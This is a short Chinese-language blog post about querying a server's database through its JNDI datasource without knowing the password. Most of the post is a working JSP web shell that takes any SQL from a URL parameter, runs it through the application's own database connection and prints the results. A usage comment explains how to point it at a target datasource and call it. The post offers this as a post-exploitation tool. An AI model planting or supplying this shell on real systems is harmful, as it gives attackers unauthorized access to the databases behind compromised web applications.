无需数据库密码-JNDI数据源方式执行Sql语句

yzmm
598 阅读
如果只找到数据源的情况下可以直接用数据源的名连接数据库,不需要找到具体的密码。
<%@page import="java.io.File"%>
<%@page import="java.io.FileWriter"%>
<%@page import="java.io.BufferedWriter"%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<%@ page import="javax.sql.*"%>
<%@ page import="javax.naming.*"%>
<html>
<body>
<!-- 
使用方法:修改java:comp/env/jdbc/tfms为你自己的数据源名字
		请求http://xxx.com/xxx.jsp?sql=select xxx  from xxx即可
 -->
<pre>
	<%
		Context ctx = new InitialContext();
		Connection conn = null;
		ctx = new InitialContext();
		DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/tfms");
		conn = ds.getConnection();
		Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
		String sql = request.getParameter("sql");
		ResultSet rs = stmt.executeQuery(sql);
		ResultSetMetaData d = rs.getMetaData();
		BufferedWriter bw = new BufferedWriter(new FileWriter(new File(request.getSession().getServletContext().getRealPath("/")+"back-db.txt"),true));
		for (int i = 1; i <= d.getColumnCount(); i++) {
			out.println(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
		}
		out.println("<br/>");
		while (rs.next()) {
			for (int i = 1; i <= d.getColumnCount(); i++) {
				out.println(rs.getObject(d.getColumnName(i)));
			}
			out.println("<br/>");
		}
	%>
	<%
		rs.close();
		stmt.close();
		conn.close();
	%>
</pre>
</body>
</html>

评论 (0)

发表评论